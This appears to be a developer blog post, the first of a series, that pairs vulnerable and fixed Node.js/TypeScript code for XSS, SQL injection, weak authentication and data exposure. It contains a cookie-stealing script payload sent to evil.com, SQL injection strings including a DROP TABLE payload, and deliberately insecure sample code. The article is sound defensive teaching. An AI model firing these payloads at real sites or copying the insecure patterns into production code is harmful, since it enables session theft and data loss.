securitybackendnodejstypescript

Web Security Mistakes Every Developer Makes — Part 1

XSS, SQL injection, broken auth, and the security basics most developers skip. Vulnerable code vs fixed code — learn from common mistakes.

February 15, 20268 min read

Most security breaches don't come from genius hackers. They come from developers who forgot to sanitize an input, hardcoded a secret, or trusted the client.

This series covers the security mistakes that are embarrassingly common — and embarrassingly easy to prevent. Part 1 starts with the fundamentals: XSS, SQL injection, broken authentication, and sensitive data exposure. These four vulnerabilities alone account for a massive portion of real-world breaches.

Future parts will go deeper: CSRF protection, rate limiting, dependency vulnerabilities, secrets management, and more. But get these basics wrong and nothing else matters.


1. Cross-Site Scripting (XSS)

What it is: An attacker injects malicious JavaScript into your page via user input. When another user visits the page, their browser executes the script — stealing cookies, hijacking sessions, or redirecting to phishing sites.

There are two main types:

  • Stored XSS — the payload is saved in your database and served to every user who visits
  • Reflected XSS — the payload lives in a URL parameter and executes when the victim clicks the link

Vulnerable code

// BAD — Express endpoint renders user input directly into HTML
app.get('/search', (req, res) => {
  const query = req.query.q
  res.send(`<h1>Results for: ${query}</h1>`)
})

// Attacker visits: /search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>
// The script executes in every victim's browser — cookies stolen

Fixed code

// GOOD — escape user input before rendering as HTML
import { escape } from 'html-escaper'

app.get('/search', (req, res) => {
  const query = escape(String(req.query.q))
  res.send(`<h1>Results for: ${query}</h1>`)
})

A few more things to keep in mind:

  • React/Next.js auto-escapes JSX by default — but dangerouslySetInnerHTML bypasses this entirely. Never pass unsanitized user content to it.
  • Set Content-Security-Policy headers to restrict which scripts can execute, even if something slips through.
  • Use httpOnly cookies for session tokens. XSS can't steal what JavaScript can't read.

Key takeaway: Never trust user input. Escape everything that renders as HTML. Layer CSP headers as a backup defense.


2. SQL Injection

What it is: An attacker manipulates your database queries by inserting SQL syntax into user-controlled input. With the right payload, they can bypass authentication, dump entire tables, or delete your data.

Vulnerable code

// BAD — raw SQL with string concatenation
app.get('/users', async (req, res) => {
  const name = req.query.name
  const result = await db.query(`SELECT * FROM users WHERE name = '${name}'`)
  res.json(result.rows)
})

// Attacker visits: /users?name=' OR '1'='1
// Query becomes: SELECT * FROM users WHERE name = '' OR '1'='1'
// Returns ALL users in the database

More destructive payload:

' OR 1=1; DROP TABLE users; --

Fixed code

// GOOD — parameterized query, database handles escaping
app.get('/users', async (req, res) => {
  const name = req.query.name
  const result = await db.query('SELECT * FROM users WHERE name = $1', [name])
  res.json(result.rows)
})

The database driver treats $1 as data, not code — no matter what the attacker puts in it.

Additional guidance:

  • ORMs (TypeORM, Prisma, Drizzle) handle parameterization automatically for standard queries. Prefer them over raw SQL.
  • If you must write raw SQL, always use parameterized queries ($1, ?, or named parameters depending on your driver).
  • Never build SQL strings with template literals or concatenation — this is how SQL injection happens, every time.

Key takeaway: Use parameterized queries or an ORM. Never concatenate user input into SQL strings. No exceptions.


3. Broken Authentication

What it is: Authentication breaks in many ways — plain-text password storage, tokens exposed to JavaScript, missing validation. Any one of these can lead to account takeover.

Mistake 1 — Storing passwords in plain text

// BAD — if your database leaks, every password is exposed
await db.query('INSERT INTO users (email, password) VALUES ($1, $2)', [
  email,
  password,
])

Even hashing with MD5 or SHA-1 is dangerous — both are fast to crack with rainbow tables.

// GOOD — bcrypt with a cost factor of 12 or higher
import bcrypt from 'bcrypt'

const SALT_ROUNDS = 12

// On registration
const hash = await bcrypt.hash(password, SALT_ROUNDS)
await db.query('INSERT INTO users (email, password) VALUES ($1, $2)', [
  email,
  hash,
])

// On login — constant-time comparison prevents timing attacks
const valid = await bcrypt.compare(inputPassword, storedHash)
if (!valid) return res.status(401).json({ error: 'Invalid credentials' })

bcrypt is intentionally slow. That's the point — it makes brute-force attacks impractical.

Mistake 2 — Storing JWTs in localStorage

// BAD — localStorage is accessible to any JavaScript on the page
// XSS attack = all tokens stolen
localStorage.setItem('token', jwt)
// GOOD — httpOnly cookies are invisible to JavaScript
res.cookie('token', jwt, {
  httpOnly: true, // not accessible via document.cookie
  secure: true, // HTTPS only
  sameSite: 'strict', // prevents CSRF (more on this in Part 2)
  maxAge: 86400000, // 24 hours
})

Mistake 3 — No password strength validation

// BAD — accepts '1' as a valid password
if (!password) return res.status(400).json({ error: 'Password required' })

// GOOD — enforce minimums, check for common passwords
import { zxcvbn } from '@zxcvbn-ts/core'

function validatePassword(password: string): {
  valid: boolean
  reason?: string
} {
  if (password.length < 8) {
    return { valid: false, reason: 'Password must be at least 8 characters' }
  }
  const result = zxcvbn(password)
  if (result.score < 2) {
    return { valid: false, reason: 'Password is too common or weak' }
  }
  return { valid: true }
}

Key takeaway: Hash passwords with bcrypt (cost factor ≥ 12). Store tokens in httpOnly cookies, not localStorage. Validate password strength before storing anything.


4. Sensitive Data Exposure

What it is: Leaking secrets, API keys, internal fields, or stack traces to clients who shouldn't see them. This often happens through carelessness, not malice — someone returns too much data, or commits a .env file.

Mistake 1 — API keys in frontend code

// BAD — this ships to the browser and is visible in DevTools
const API_KEY = 'sk-live-abc123'

const response = await fetch('https://api.thirdparty.com/data', {
  headers: { Authorization: `Bearer ${API_KEY}` },
})

In Next.js, environment variables prefixed with NEXT_PUBLIC_ are exposed to the browser. Variables without that prefix stay server-side only. Keep sensitive keys server-side.

// GOOD — proxy through your own API route (server-side only)
// apps/api/route.ts
export async function GET() {
  const response = await fetch('https://api.thirdparty.com/data', {
    headers: { Authorization: `Bearer ${process.env.API_KEY}` }, // server-only
  })
  return Response.json(await response.json())
}

Mistake 2 — Returning full database objects

// BAD — returns password hash, internal notes, and everything else
app.get('/api/me', async (req, res) => {
  const user = await db.users.findById(req.userId)
  res.json(user) // { id, email, passwordHash, internalNotes, stripeCustomerId, ... }
})
// GOOD — explicitly select what the client needs
app.get('/api/me', async (req, res) => {
  const user = await db.users.findById(req.userId)
  res.json({
    id: user.id,
    name: user.name,
    email: user.email,
  })
})

With Prisma, use select to prevent accidental over-fetching:

const user = await prisma.user.findUnique({
  where: { id: req.userId },
  select: { id: true, name: true, email: true }, // passwordHash never leaves the server
})

Mistake 3 — Stack traces in production responses

// BAD — exposes file paths, library versions, internal structure
app.use((err, req, res, next) => {
  res.status(500).json({ error: err.message, stack: err.stack })
})

// GOOD — generic message to client, full details logged server-side
app.use((err, req, res, next) => {
  console.error(err) // log internally for debugging
  res.status(500).json({ error: 'Internal server error' })
})

Mistake 4 — Leaking server identity

// BAD — default Express behavior: X-Powered-By: Express
// Tells attackers exactly what to target

// GOOD — disable it
app.disable('x-powered-by')

// In Next.js (next.config.ts):
const nextConfig = {
  poweredByHeader: false,
}

Also: never commit .env files. Add .env, .env.local, .env.*.local to .gitignore before your first commit. One accidental push with a production secret can mean rotating every key in your system.

Key takeaway: Only expose what the client needs. Keep secrets server-side. Never return full database objects. Remove stack traces and server identity headers from production responses.


The Security Mindset

Security isn't a feature you add at the end. It's a habit you build from the start.

These four vulnerability classes — XSS, SQL injection, broken authentication, and sensitive data exposure — are responsible for an enormous percentage of real-world breaches. They're not exotic. They're not clever. They're mistakes that happen when developers move fast and skip the basics.

The good news: every fix shown above is straightforward. Escape user input. Use parameterized queries. Hash passwords. Restrict what you return. These are habits, not heroics.

Part 1 Checklist

Before shipping any feature that touches user input or authentication:

  • All user input is escaped/sanitized before rendering as HTML
  • All database queries use parameterized queries or an ORM
  • Passwords are hashed with bcrypt (cost factor ≥ 12)
  • Session tokens are in httpOnly cookies, not localStorage
  • API responses return only the fields the client actually needs
  • No secrets in frontend code or committed to git
  • X-Powered-By header is disabled in production
  • Production error responses return generic messages, not stack traces

Coming in Part 2: CSRF protection, rate limiting, dependency vulnerabilities, and secrets management — the next layer of security basics that too many teams skip.


This post was written with the assistance of AI to help articulate the author's own views, knowledge, and experiences.